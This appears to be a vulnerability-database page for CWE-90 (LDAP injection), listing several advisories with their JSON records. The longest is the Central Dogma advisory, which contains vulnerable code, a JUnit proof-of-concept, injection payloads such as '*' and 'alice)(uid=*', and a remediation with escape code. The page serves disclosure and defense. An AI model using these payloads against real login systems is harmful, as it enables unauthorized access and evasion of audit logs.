GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-90

Allowed

Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.

144 vulnerabilities reference this CWE, most recent first.

GHSA-82MG-X548-GQ3J

Vulnerability from github – Published: 2020-08-31 22:49 – Updated: 2021-09-23 19:58
VLAI
Summary
LDAP Injection in ldapauth
Details

Versions 2.2.4 and earlier of ldapauth-fork are affected by an LDAP injection vulnerability. This allows an attacker to inject and run arbitrary LDAP commands via the username parameter.

Recommendation

ldapauth is not actively maintained, having not seen a publish since 2014. As a result, there is no patch available. Consider updating to use ldapauth-fork 2.3.3 or greater.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ldapauth-fork"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2.2.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "ldapauth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2015-7294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:07:59Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Versions 2.2.4 and earlier of `ldapauth-fork` are affected by an LDAP injection vulnerability. This allows an attacker to inject and run arbitrary LDAP commands via the username parameter.\n\n\n\n## Recommendation\n\nldapauth is not actively maintained, having not seen a publish since 2014. As a result, there is no patch available. Consider updating to use [ldapauth-fork](https://www.npmjs.com/package/ldapauth-fork) 2.3.3 or greater.",
  "id": "GHSA-82mg-x548-gq3j",
  "modified": "2021-09-23T19:58:02Z",
  "published": "2020-08-31T22:49:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-7294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vesse/node-ldapauth-fork/issues/21"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vesse/node-ldapauth-fork/commit/3feea43e243698bcaeffa904a7324f4d96df60e4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vesse/node-ldapauth-fork"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/18"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/19"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/09/18/4"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/09/18/8"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2015/09/21/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LDAP Injection in ldapauth"
}

GHSA-853R-VXG2-55R2

Vulnerability from github – Published: 2026-07-30 18:31 – Updated: 2026-07-31 18:32
VLAI
Details

LDAP filter injection vulnerability in Apache Zeppelin. LdapRealm used RFC 4514 distinguished-name escaping when constructing LDAP search filters instead of RFC 4515 filter escaping, leaving special filter characters insufficiently escaped.                   This is an incomplete fix of CVE-2024-31867. This issue affects Apache Zeppelin versions 0.11.1, 0.11.2, and 0.12.0. Users are recommended to upgrade to version 0.12.1, which fixes this issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-44617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T16:17:12Z",
    "severity": "MODERATE"
  },
  "details": "LDAP filter injection vulnerability in Apache Zeppelin. LdapRealm used RFC 4514 distinguished-name escaping when constructing LDAP search filters instead of RFC 4515 filter escaping, leaving special filter characters insufficiently escaped. \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0This is an incomplete fix of CVE-2024-31867. This issue affects Apache Zeppelin versions 0.11.1, 0.11.2, and 0.12.0. Users are recommended to upgrade to version 0.12.1, which fixes this issue.",
  "id": "GHSA-853r-vxg2-55r2",
  "modified": "2026-07-31T18:32:12Z",
  "published": "2026-07-30T18:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44617"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/zeppelin/pull/5226"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/s65t6n3s1v4j5b1w7zvv5w73ko69m1zv"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-31867"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-874G-M2W7-F4XX

Vulnerability from github – Published: 2026-09-09 09:32 – Updated: 2026-09-09 09:32
VLAI
Details

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-80055"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T08:17:22Z",
    "severity": "MODERATE"
  },
  "details": "Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Neutralization of Special Elements used in an LDAP Query (\u0027LDAP Injection\u0027) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to script injection.",
  "id": "GHSA-874g-m2w7-f4xx",
  "modified": "2026-09-09T09:32:59Z",
  "published": "2026-09-09T09:32:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80055"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-in/000503426/dsa-2026-382-security-update-for-dell-secure-connect-gateway-virtual-edition-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8CJF-MHHJ-2C5P

Vulnerability from github – Published: 2026-07-30 18:31 – Updated: 2026-07-31 18:32
VLAI
Details

LDAP injection vulnerability in Apache Zeppelin. ActiveDirectoryGroupRealm constructed LDAP search filters without escaping user-controlled input, allowing an authenticated attacker to inject LDAP filter syntax through the user-search endpoint                   and potentially expose directory information. The role-lookup path was also affected after successful LDAP authentication. This issue affects Apache Zeppelin versions 0.6.0 through 0.12.0. Users are recommended to upgrade to version 0.12.1, which                   fixes this issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-44616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T16:17:12Z",
    "severity": "MODERATE"
  },
  "details": "LDAP injection vulnerability in Apache Zeppelin. ActiveDirectoryGroupRealm constructed LDAP search filters without escaping user-controlled input, allowing an authenticated attacker to inject LDAP filter syntax through the user-search endpoint \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0and potentially expose directory information. The role-lookup path was also affected after successful LDAP authentication. This issue affects Apache Zeppelin versions 0.6.0 through 0.12.0. Users are recommended to upgrade to version 0.12.1, which \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fixes this issue.",
  "id": "GHSA-8cjf-mhhj-2c5p",
  "modified": "2026-07-31T18:32:12Z",
  "published": "2026-07-30T18:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44616"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/zeppelin/pull/5226"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/p6llqpvcszpg1wc8kx5ncfkdbms3g0rn"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/30/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8HC5-RMGF-QX6P

Vulnerability from github – Published: 2023-11-29 21:33 – Updated: 2023-11-29 21:33
VLAI
Summary
Keycloak vulnerable to LDAP Injection on UsernameForm Login
Details

A flaw was found in the Keycloak package. This flaw allows an attacker to benefit from an LDAP query and access existing usernames in the server.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-ldap-federation"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "23.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-services"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "23.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-2232"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-29T21:33:07Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "A flaw was found in the Keycloak package. This flaw allows an attacker to benefit from an LDAP query and access existing usernames in the server.",
  "id": "GHSA-8hc5-rmgf-qx6p",
  "modified": "2023-11-29T21:33:07Z",
  "published": "2023-11-29T21:33:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/security/advisories/GHSA-8hc5-rmgf-qx6p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/commit/4252e394cf725b16f7e4e19aa32b03fd3fe13fde"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keycloak/keycloak"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Keycloak vulnerable to LDAP Injection on UsernameForm Login"
}

GHSA-8P37-98J5-XM75

Vulnerability from github – Published: 2022-05-17 03:03 – Updated: 2022-05-17 03:03
VLAI
Details

EMC Isilon OneFS 8.0.0.0, EMC Isilon OneFS 7.2.1.0 - 7.2.1.2, EMC Isilon OneFS 7.2.0.x, EMC Isilon OneFS 7.1.1.0 - 7.1.1.10, and EMC Isilon OneFS 7.1.0.x is affected by an LDAP injection vulnerability that could potentially be exploited by a malicious user to compromise the system.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2016-9870"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-01-23T07:59:00Z",
    "severity": "HIGH"
  },
  "details": "EMC Isilon OneFS 8.0.0.0, EMC Isilon OneFS 7.2.1.0 - 7.2.1.2, EMC Isilon OneFS 7.2.0.x, EMC Isilon OneFS 7.1.1.0 - 7.1.1.10, and EMC Isilon OneFS 7.1.0.x is affected by an LDAP injection vulnerability that could potentially be exploited by a malicious user to compromise the system.",
  "id": "GHSA-8p37-98j5-xm75",
  "modified": "2022-05-17T03:03:05Z",
  "published": "2022-05-17T03:03:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-9870"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/540020/30/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95626"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-98Q5-5QH2-7W75

Vulnerability from github – Published: 2026-09-11 20:43 – Updated: 2026-09-11 20:43
VLAI
Summary
Central Dogma: LDAP injection in SearchFirstActiveDirectoryRealm enables authentication confusion and audit log evasion
Details

Vulnerability

SearchFirstActiveDirectoryRealm.findUserDn() substitutes the user-supplied username from the login form into an LDAP search filter template (default cn={0}) without escaping RFC 4515 filter metacharacters (*, (, ), \, NUL). Combined with SearchControls.setCountLimit(1) on the same call site, this allows three distinct attack primitives:

  1. Authentication confusion — typing username * causes the realm to construct filter cn=*, return the first directory entry (typically a privileged account in AD ordering), and attempt bind against that DN with the attacker's password.
  2. Audit log evasion — payload bob)(uid=alice is recorded verbatim in audit logs while the realm searches with the malformed filter, breaking accountability/compliance (SOX, PCI-DSS, ISO 27001).
  3. Directory enumeration — wildcards and timing differences allow reconnaissance of OU structure and admin group membership.

A repo-wide search for any LDAP escape helper (escapeLdap, encodeFilter, escapeFilter, ldapEscape) returns zero hits — the defense is not just missing, it was never added.

Applicability note: This realm is opt-in. The shipped default LDAP example (dist/src/conf/shiro.example.ldap.ini) uses Shiro's DefaultLdapRealm with userDnTemplate and is NOT affected. However, the realm exists precisely to support Active Directory environments where users log in via sAMAccountName and the realm must search for the DN first — the canonical LINE corporate AD-backed SSO scenario. Internal deployments using AD-backed login almost certainly select this realm.


Evidence

File: server-auth/shiro/src/main/java/com/linecorp/centraldogma/server/auth/shiro/realm/SearchFirstActiveDirectoryRealm.java Lines 148–176 on branch main @ commit d64a5151:

@Nullable
protected String findUserDn(LdapContextFactory ldapContextFactory, String username)
        throws NamingException {
    LdapContext ctx = null;
    try {
        ctx = ldapContextFactory.getSystemLdapContext();

        final SearchControls ctrl = new SearchControls();
        ctrl.setCountLimit(1);                                              // line 156 — returns FIRST match only
        ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);
        ctrl.setTimeLimit(searchTimeoutMillis);

        final String filter =
                searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)
                                                           .replaceAll(username)  // line 162 — RAW SUBSTITUTION
                                     : username;                            // line 163
        final NamingEnumeration result = ctx.search(searchBase, filter, ctrl);
        ...

USERNAME_PLACEHOLDER = Pattern.compile("\\{0}"). Default searchFilter = "cn={0}".

Data flow from HTTP login to vulnerable substitution

Step Component
HTTP login form POST /api/v1/login form field username
ShiroLoginService.usernamePassword() (lines 198–223) applies loginNameNormalizer (Unicode lowercase only — NOT LDAP escape)
Subject.login(new UsernamePasswordToken(username, password)) Shiro hand-off
ActiveDirectoryRealm.doGetAuthenticationInfo (Shiro core) calls queryForAuthenticationInfo0
SearchFirstActiveDirectoryRealm.findUserDn(factory, upToken.getUsername()) username flows in verbatim

Repository-wide escape helper grep

Search term Hits
escapeLdap 0
encodeFilter 0
escapeFilter 0
ldapEscape 0

PoC

Self-contained JUnit 5 test using UnboundID InMemoryDirectoryServer (in-process, no external LDAP required). Drop into server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/LdapInjectionPoCTest.java and add com.unboundid:unboundid-ldapsdk:7.0.0 as a test dependency.

The PoC works by subclassing the realm and overriding findUserDn() to capture the actual LDAP filter string sent to the directory — the captured filter is the structural evidence, independent of LDAP server strictness about bind outcomes.

/*
 * Copyright 2026 LINE Corporation
 *
 * SECURITY PoC — NOT FOR MERGE INTO THE MAIN TEST SUITE.
 *
 * This JUnit class demonstrates the LDAP filter injection in
 * SearchFirstActiveDirectoryRealm. Drop into
 * server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/
 * Adds the UnboundID LDAP SDK as a test dep.
 */
package com.linecorp.centraldogma.server.auth.shiro.realm;

import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.assertThatThrownBy;

import javax.naming.directory.SearchControls;
import javax.naming.ldap.LdapContext;

import org.apache.shiro.realm.ldap.JndiLdapContextFactory;
import org.apache.shiro.realm.ldap.LdapContextFactory;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestMethodOrder;
import org.junit.jupiter.api.MethodOrderer;
import org.junit.jupiter.api.Order;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.sdk.Entry;

@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
class LdapInjectionPoCTest {

    private static InMemoryDirectoryServer ds;
    private static int port;

    @BeforeAll
    static void startLdap() throws Exception {
        final InMemoryDirectoryServerConfig cfg =
                new InMemoryDirectoryServerConfig("dc=example,dc=com");
        cfg.addAdditionalBindCredentials("cn=admin,dc=example,dc=com", "adminpw");
        cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig(
                "default", null, 0, null));
        ds = new InMemoryDirectoryServer(cfg);
        ds.startListening();
        port = ds.getListenPort();

        // Directory:
        //   cn=admin  (listed first → picked by setCountLimit(1) under wildcard)
        //   cn=alice
        ds.add(new Entry(
                "cn=admin,dc=example,dc=com",
                "objectClass: top", "objectClass: person",
                "cn: admin", "sn: admin",
                "userPassword: adminpw"));
        ds.add(new Entry(
                "cn=alice,dc=example,dc=com",
                "objectClass: top", "objectClass: person",
                "cn: alice", "sn: doe",
                "userPassword: alicepw"));
    }

    @AfterAll
    static void stopLdap() {
        if (ds != null) ds.shutDown(true);
    }

    /** Subclass that records the filter passed to ctx.search(). */
    private static final class RecordingRealm extends SearchFirstActiveDirectoryRealm {
        volatile String capturedFilter;

        RecordingRealm() {
            setUrl("ldap://localhost:" + port);
            setSystemUsername("cn=admin,dc=example,dc=com");
            setSystemPassword("adminpw");
            setSearchBase("dc=example,dc=com");
            setSearchFilter("cn={0}");
        }

        @Override
        protected String findUserDn(LdapContextFactory factory, String username)
                throws javax.naming.NamingException {
            LdapContext ctx = null;
            try {
                ctx = factory.getSystemLdapContext();
                final SearchControls ctrl = new SearchControls();
                ctrl.setCountLimit(1);
                ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);

                final java.util.regex.Pattern PH =
                        java.util.regex.Pattern.compile("\\{0}");
                final String filter = PH.matcher("cn={0}").replaceAll(username);
                capturedFilter = filter;

                final javax.naming.NamingEnumeration r =
                        ctx.search("dc=example,dc=com", filter, ctrl);
                try {
                    if (!r.hasMore()) return null;
                    return r.next().getNameInNamespace();
                } finally {
                    r.close();
                }
            } finally {
                org.apache.shiro.realm.ldap.LdapUtils.closeContext(ctx);
            }
        }
    }

    private static LdapContextFactory factory() {
        final JndiLdapContextFactory f = new JndiLdapContextFactory();
        f.setUrl("ldap://localhost:" + port);
        f.setSystemUsername("cn=admin,dc=example,dc=com");
        f.setSystemPassword("adminpw");
        return f;
    }

    @Test @Order(1)
    @DisplayName("baseline: typing 'alice' resolves to the alice DN")
    void baselineHonest() throws Exception {
        final RecordingRealm realm = new RecordingRealm();
        final String dn = realm.findUserDn(factory(), "alice");
        assertThat(dn).isEqualTo("cn=alice,dc=example,dc=com");
        assertThat(realm.capturedFilter).isEqualTo("cn=alice");
    }

    @Test @Order(2)
    @DisplayName("VULN: typing '*' resolves to the FIRST entry (admin), not alice")
    void wildcardLandsOnAdmin() throws Exception {
        final RecordingRealm realm = new RecordingRealm();
        final String dn = realm.findUserDn(factory(), "*");
        assertThat(realm.capturedFilter).isEqualTo("cn=*");
        assertThat(dn).isEqualTo("cn=admin,dc=example,dc=com");
        // → If the attacker also has the admin password, they log in as admin
        //   while the audit log records the typed username "*".
    }

    @Test @Order(3)
    @DisplayName("VULN: filter structure can be broken with ')' injection")
    void filterStructureInjection() throws Exception {
        final RecordingRealm realm = new RecordingRealm();
        assertThatThrownBy(() -> realm.findUserDn(factory(), "alice)(uid=*"))
                .hasMessageContaining("filter")
                .hasMessageContaining("malformed")
                .matches(t -> t instanceof javax.naming.NamingException ||
                              t.getCause() instanceof javax.naming.NamingException);
        assertThat(realm.capturedFilter).isEqualTo("cn=alice)(uid=*");
    }

    @Test @Order(4)
    @DisplayName("VULN: AND-injection can broaden the result set silently")
    void andInjectionBroadens() throws Exception {
        final RecordingRealm realm = new RecordingRealm();
        try {
            realm.findUserDn(factory(), "x)(|(cn=alice)(cn=admin");
        } catch (Exception ignored) { /* server may reject */ }
        assertThat(realm.capturedFilter).contains(")(|(");
    }
}

Build dependency (server-auth/shiro/build.gradle)

dependencies {
    testImplementation 'com.unboundid:unboundid-ldapsdk:7.0.0'
}

Run

./gradlew :server-auth-shiro:test \
  --tests com.linecorp.centraldogma.server.auth.shiro.realm.LdapInjectionPoCTest \
  --info

Expected output (VULNERABLE — current code)

LdapInjectionPoCTest > baselineHonest            PASSED
LdapInjectionPoCTest > wildcardLandsOnAdmin       PASSED  ← VULN
LdapInjectionPoCTest > filterStructureInjection   PASSED  ← VULN
LdapInjectionPoCTest > andInjectionBroadens       PASSED  ← VULN

After the patch is applied (RFC 4515 escape helper), the VULN tests fail in a specific way, e.g. Expected captured filter to be "cn=*" but was "cn=\2a" — they then serve as regression tests by flipping the assertions.


Impact

Threat model: any unauthenticated network client that can reach the Central Dogma login page. No prior account, no MITM position required — the attack is performed during a normal login request.

  1. Authentication confusion — In AD environments that select this realm (the canonical LINE corporate scenario), typing username * causes the realm to look up the first directory entry (typically Administrator, admin, or a service account in alphabetical AD ordering) and attempt bind with the attacker's password. If the attacker also possesses any valid user's password — easily obtained via password reuse, accidental Slack leak, repo commit, or peer compromise — and that password happens to authenticate the first directory entry (rare but devastating), the attacker logs in as a privileged user while audit logs record the literal username *.

  2. Audit log evasion / compliance failure — Payloads like bob)(uid=alice are logged verbatim while the LDAP filter is malformed. Central Dogma's audit trail is a primary control for configuration change accountability. Loss of accountability constitutes a direct violation of SOX §404, PCI-DSS §10, ISO 27001 A.12.4.

  3. Directory enumeration — Wildcard payloads (a*, b*, …) combined with timing analysis allow blind enumeration of corporate AD structure: user existence, OU layout, admin group membership. While AD structure is not strictly secret, leaking it from an internet-exposed Central Dogma feeds spear-phishing target lists.

  4. Group-membership filter injection — Payload a)(objectClass=*)(memberOf=CN=Domain Admins,... (against the common AD filter (&(objectClass=user)(sAMAccountName={0}))) narrows the search to Domain Admin members and returns the first one. The attacker need only know any Domain Admin's password (separately compromised) to land in Central Dogma as that user. AD itself is not breached, but Central Dogma's view of the principal is.

Scope is Changed (CVSS) because the injection traverses the trust boundary between Central Dogma and the separate AD/LDAP security authority.


How to fix

Add an RFC 4515 §3 filter escape helper and apply it before substitution:

// SearchFirstActiveDirectoryRealm.java
static String encodeLdapFilter(String v) {
    if (v == null) return "";
    final StringBuilder sb = new StringBuilder(v.length());
    for (int i = 0; i < v.length(); i++) {
        final char c = v.charAt(i);
        switch (c) {
            case '\\': sb.append("\\5c"); break;
            case '*':  sb.append("\\2a"); break;
            case '(':  sb.append("\\28"); break;
            case ')':  sb.append("\\29"); break;
            case '\0': sb.append("\\00"); break;
            default:   sb.append(c);
        }
    }
    return sb.toString();
}

// inside findUserDn():
final String escaped = encodeLdapFilter(username);
final String filter =
        searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)
                                                   .replaceAll(Matcher.quoteReplacement(escaped))
                             : escaped;

Notes:

  • Matcher.quoteReplacement is required because the escape produces backslashes (\5c) that Matcher.replaceAll would otherwise interpret as backreferences.
  • DN escape (RFC 4514) is a different alphabet — not needed here because the username is used in a filter, not a DN. If a future change uses the username to build a DN, RFC 4514 escape must be added separately.
  • Do not rely on loginNameNormalizer for this defense — it is Unicode lowercase only.

Regression tests (drop into same test class)

@Test
void escapeBlocksFilterInjection() {
    assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("*")).isEqualTo("\\2a");
    assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("alice)(uid=*"))
            .isEqualTo("alice\\29\\28uid=\\2a");
    assertThat(SearchFirstActiveDirectoryRealm.encodeLdapFilter("a\\b")).isEqualTo("a\\5cb");
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.linecorp.centraldogma:centraldogma-server-auth-shiro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.84.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-11748"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-11T20:43:48Z",
    "nvd_published_at": "2026-06-22T03:16:42Z",
    "severity": "MODERATE"
  },
  "details": "# Vulnerability\n\n`SearchFirstActiveDirectoryRealm.findUserDn()` substitutes the user-supplied username from the login form into an LDAP search filter template (default `cn={0}`) **without escaping RFC 4515 filter metacharacters** (`*`, `(`, `)`, `\\`, NUL). Combined with `SearchControls.setCountLimit(1)` on the same call site, this allows three distinct attack primitives:\n\n1. **Authentication confusion** \u2014 typing username `*` causes the realm to construct filter `cn=*`, return the first directory entry (typically a privileged account in AD ordering), and attempt bind against that DN with the attacker\u0027s password.\n2. **Audit log evasion** \u2014 payload `bob)(uid=alice` is recorded verbatim in audit logs while the realm searches with the malformed filter, breaking accountability/compliance (SOX, PCI-DSS, ISO 27001).\n3. **Directory enumeration** \u2014 wildcards and timing differences allow reconnaissance of OU structure and admin group membership.\n\nA repo-wide search for any LDAP escape helper (`escapeLdap`, `encodeFilter`, `escapeFilter`, `ldapEscape`) returns **zero hits** \u2014 the defense is not just missing, it was never added.\n\n\u003e **Applicability note:** This realm is opt-in. The shipped default LDAP example (`dist/src/conf/shiro.example.ldap.ini`) uses Shiro\u0027s `DefaultLdapRealm` with `userDnTemplate` and is **NOT** affected. However, the realm exists precisely to support Active Directory environments where users log in via `sAMAccountName` and the realm must search for the DN first \u2014 the canonical LINE corporate AD-backed SSO scenario. Internal deployments using AD-backed login almost certainly select this realm.\n\n---\n\n## Evidence\n\n**File:** `server-auth/shiro/src/main/java/com/linecorp/centraldogma/server/auth/shiro/realm/SearchFirstActiveDirectoryRealm.java`\n**Lines 148\u2013176** on branch `main` @ commit `d64a5151`:\n\n```java\n@Nullable\nprotected String findUserDn(LdapContextFactory ldapContextFactory, String username)\n        throws NamingException {\n    LdapContext ctx = null;\n    try {\n        ctx = ldapContextFactory.getSystemLdapContext();\n\n        final SearchControls ctrl = new SearchControls();\n        ctrl.setCountLimit(1);                                              // line 156 \u2014 returns FIRST match only\n        ctrl.setSearchScope(SearchControls.SUBTREE_SCOPE);\n        ctrl.setTimeLimit(searchTimeoutMillis);\n\n        final String filter =\n                searchFilter != null ? USERNAME_PLACEHOLDER.matcher(searchFilter)\n                                                           .replaceAll(username)  // line 162 \u2014 RAW SUBSTITUTION\n                                     : username;                            // line 163\n        final NamingEnumeration result = ctx.search(searchBase, filter, ctrl);\n        ...\n```\n\n`USERNAME_PLACEHOLDER = Pattern.compile(\"\\\\{0}\")`. Default `searchFilter = \"cn={0}\"`.\n\n### Data flow from HTTP login to vulnerable substitution\n\n| Step | Component |\n|------|-----------|\n| HTTP login form | `POST /api/v1/login` form field `username` |\n| `ShiroLoginService.usernamePassword()` (lines 198\u2013223) | applies `loginNameNormalizer` (Unicode lowercase only \u2014 **NOT** LDAP escape) |\n| `Subject.login(new UsernamePasswordToken(username, password))` | Shiro hand-off |\n| `ActiveDirectoryRealm.doGetAuthenticationInfo` (Shiro core) | calls `queryForAuthenticationInfo0` |\n| `SearchFirstActiveDirectoryRealm.findUserDn(factory, upToken.getUsername())` | username flows in **verbatim** |\n\n### Repository-wide escape helper grep\n\n| Search term | Hits |\n|-------------|------|\n| `escapeLdap` | 0 |\n| `encodeFilter` | 0 |\n| `escapeFilter` | 0 |\n| `ldapEscape` | 0 |\n\n---\n\n## PoC\n\nSelf-contained JUnit 5 test using UnboundID `InMemoryDirectoryServer` (in-process, no external LDAP required). Drop into `server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/LdapInjectionPoCTest.java` and add `com.unboundid:unboundid-ldapsdk:7.0.0` as a test dependency.\n\n\u003e The PoC works by subclassing the realm and overriding `findUserDn()` to capture the actual LDAP filter string sent to the directory \u2014 the captured filter is the structural evidence, independent of LDAP server strictness about bind outcomes.\n\n```java\n/*\n * Copyright 2026 LINE Corporation\n *\n * SECURITY PoC \u2014 NOT FOR MERGE INTO THE MAIN TEST SUITE.\n *\n * This JUnit class demonstrates the LDAP filter injection in\n * SearchFirstActiveDirectoryRealm. Drop into\n * server-auth/shiro/src/test/java/com/linecorp/centraldogma/server/auth/shiro/realm/\n * Adds the UnboundID LDAP SDK as a test dep.\n */\npackage com.linecorp.centraldogma.server.auth.shiro.realm;\n\nimport static org.assertj.core.api.Assertions.assertThat;\nimport static org.assertj.core.api.Assertions.assertThatThrownBy;\n\nimport 